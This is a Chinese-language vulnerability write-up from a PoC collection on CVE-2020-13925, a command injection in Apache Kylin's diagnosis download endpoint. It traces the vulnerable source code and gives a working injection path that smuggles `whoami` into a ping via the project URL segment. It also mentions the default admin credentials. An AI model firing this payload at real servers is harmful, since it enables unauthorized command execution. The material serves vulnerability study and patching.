Awesome-POC/Web服务器漏洞/Apache Kylin DiagnosisController.java 命令注入漏洞 CVE-2020-13925.md
2022-12-06 17:17:54 +08:00

245 lines
8.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache Kylin DiagnosisController.java 命令注入漏洞 CVE-2020-13925
## 漏洞描述
6月京东安全的蓝军团队发现了一个 apache kylin 远程命令执行严重漏洞( CVE-2020-13925。黑客可以利用这个漏洞登录任何管理员账号和密码默认未修改的账号获得管理员权限。由于Apache Kylin被广泛应用于企业的大数据分析平台因此该漏洞将对企业核心数据具有较大的危害存在数据泄露风险建议用户尽快升级软件至安全版本。
## 漏洞影响
```
Apache Kylin 2.3.0 ~ 2.3.2
Apache Kylin 2.4.0 ~ 2.4.1
Apache Kylin 2.5.0 ~ 2.5.2
Apache Kylin 2.6.0 ~ 2.6.5
Apache Kylin 3.0.0-alpha
```
## 环境搭建
```
docker pull apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
```
打开后使用默认账号密码admin/KYLIN登录出现初始界面即为成功
![](./images/202205251605625.png)
## 漏洞复现
出现漏洞的代码文件在`server-base/src/main/java/org/apache/kylin/rest/controller/DiagnosisController.java`
![](./images/202205251607872.png)
```
/**
* Get diagnosis information for project
*/
@RequestMapping(value = "/project/{project}/download", method = { RequestMethod.GET }, produces = {
"application/json" })
@ResponseBody
public void dumpProjectDiagnosisInfo(@PathVariable String project, final HttpServletRequest request,
final HttpServletResponse response) {
try (AutoDeleteDirectory diagDir = new AutoDeleteDirectory("diag_project", "")) {
String filePath = dgService.dumpProjectDiagnosisInfo(project, diagDir.getFile());
setDownloadResponse(filePath, response);
} catch (IOException e) {
throw new InternalErrorException("Failed to dump project diagnosis info. " + e.getMessage(), e);
}
}
```
这里可以看到` {project}`参数是用户可控的变量,向下跟进`dumpProjectDiagnosisInfo`函数
```
public String dumpProjectDiagnosisInfo(String project, File exportPath) throws IOException {
aclEvaluate.checkProjectOperationPermission(project);
String[] args = { project, exportPath.getAbsolutePath() };
runDiagnosisCLI(args);
return getDiagnosisPackageName(exportPath);
}
```
![](./images/202205251607641.png)
首先通过`checkProjectOperationPermission`函数来检查该`project`是否许可,然后构建一个`args`的字符串数组,看一下`checkProjectOperationPermission`函数
```
public void checkProjectOperationPermission(String projectName) {
ProjectInstance projectInstance = getProjectInstance(projectName);
aclUtil.hasProjectOperationPermission(projectInstance);
}
```
这里传入`projectName`,然后通过`getProjectInstance`来获取项目实例,跟进`getProjectInstance`
```
private ProjectInstance getProjectInstance(String projectName) {
return ProjectManager.getInstance(KylinConfig.getInstanceFromEnv()).getProject(projectName);
}
```
因为 `projectName` 会被我们替换掉,所以不会获得一个正确的`projectName`,则会返回一个Null查看下`hasProjectOperationPermission`函数
```
@PreAuthorize(Constant.ACCESS_HAS_ROLE_ADMIN +
" or hasPermission(#project, 'ADMINISTRATION')" +
" or hasPermission(#project, 'MANAGEMENT')" +
" or hasPermission(#project, 'OPERATION')")
public boolean hasProjectOperationPermission(ProjectInstance project) {
return true;
}
```
这里并没有对`projectName`进行检验,只对用户身份进行了检验,当为`ADMIN、ADMINISTRATION、MANAGEMENT、OPERATION`等权限,该值默认返回为`true`,回到` dumpProjectDiagnosisInfo`函数,向下继续跟进`runDiagnosisCLI`函数
![](./images/202205251607574.png)
```
private void runDiagnosisCLI(String[] args) throws IOException {
Message msg = MsgPicker.getMsg();
File cwd = new File("");
logger.debug("Current path: " + cwd.getAbsolutePath());
logger.debug("DiagnosisInfoCLI args: " + Arrays.toString(args));
File script = new File(KylinConfig.getKylinHome() + File.separator + "bin", "diag.sh");
if (!script.exists()) {
throw new BadRequestException(
String.format(Locale.ROOT, msg.getDIAG_NOT_FOUND(), script.getAbsolutePath()));
}
String diagCmd = script.getAbsolutePath() + " " + StringUtils.join(args, " ");
CliCommandExecutor executor = KylinConfig.getInstanceFromEnv().getCliCommandExecutor();
Pair<Integer, String> cmdOutput = executor.execute(diagCmd);
if (cmdOutput.getFirst() != 0) {
throw new BadRequestException(msg.getGENERATE_DIAG_PACKAGE_FAIL());
}
}
```
注意看这几行代码
```
String diagCmd = script.getAbsolutePath() + " " + StringUtils.join(args, " ");
CliCommandExecutor executor = KylinConfig.getInstanceFromEnv().getCliCommandExecutor();
Pair<Integer, String> cmdOutput = executor.execute(diagCmd);
```
与 Apache Kylin 命令注入漏洞`CVE-2020-1956`类似,同样也是经过`execute函数`,而`digCmd`同样也是经过了命令拼接
```
private Pair<Integer, String> runRemoteCommand(String command, Logger logAppender) throws IOException {
SSHClient ssh = new SSHClient(remoteHost, port, remoteUser, remotePwd);
SSHClientOutput sshOutput;
try {
sshOutput = ssh.execCommand(command, remoteTimeoutSeconds, logAppender);
int exitCode = sshOutput.getExitCode();
String output = sshOutput.getText();
return Pair.newPair(exitCode, output);
} catch (IOException e) {
throw e;
} catch (Exception e) {
throw new IOException(e.getMessage(), e);
}
}
private Pair<Integer, String> runNativeCommand(String command, Logger logAppender) throws IOException {
String[] cmd = new String[3];
String osName = System.getProperty("os.name");
if (osName.startsWith("Windows")) {
cmd[0] = "cmd.exe";
cmd[1] = "/C";
} else {
cmd[0] = "/bin/bash";
cmd[1] = "-c";
}
cmd[2] = command;
ProcessBuilder builder = new ProcessBuilder(cmd);
builder.redirectErrorStream(true);
Process proc = builder.start();
BufferedReader reader = new BufferedReader(
new InputStreamReader(proc.getInputStream(), StandardCharsets.UTF_8));
String line;
StringBuilder result = new StringBuilder();
while ((line = reader.readLine()) != null && !Thread.currentThread().isInterrupted()) {
result.append(line).append('\n');
if (logAppender != null) {
logAppender.log(line);
}
}
if (Thread.interrupted()) {
logger.info("CliCommandExecutor is interruppted by other, kill the sub process: " + command);
proc.destroy();
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
// do nothing
}
return Pair.newPair(1, "Killed");
}
try {
int exitCode = proc.waitFor();
return Pair.newPair(exitCode, result.toString());
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
throw new IOException(e);
}
}
}
```
这样我们就可以通过控制` {project}` 请求就可以造成命令注入
```
/kylin/api/diag/project/{project}/download
/kylin/api/diag/project/||ping `whoami.111.111.111`||/download
```
拼接后则出现
```
/home/admin/apache-kylin-3.0.1-bin-hbase1x/bin/diag.sh {project} {diagDir}
```
这里通过报错语句可以回显命令验证漏洞存在
```
throw new InternalErrorException("Failed to dump project diagnosis info. " + e.getMessage(), e);
```
![](./images/202205251607066.png)
在修复中,过滤了`||`,`&&`等符号,造成无法命令注入
![](./images/202205251608429.png)
漏洞通报中共两个利用点
```
/kylin/api/diag/project/{project}/download
/kylin/api/diag/job/{jobId}/download
```
查看函数发现利用方式相同,直接利用`job`会失败,因为 `{project}`默认有一个`learn_kylin`,而`job`没有
![](./images/202205251608689.png)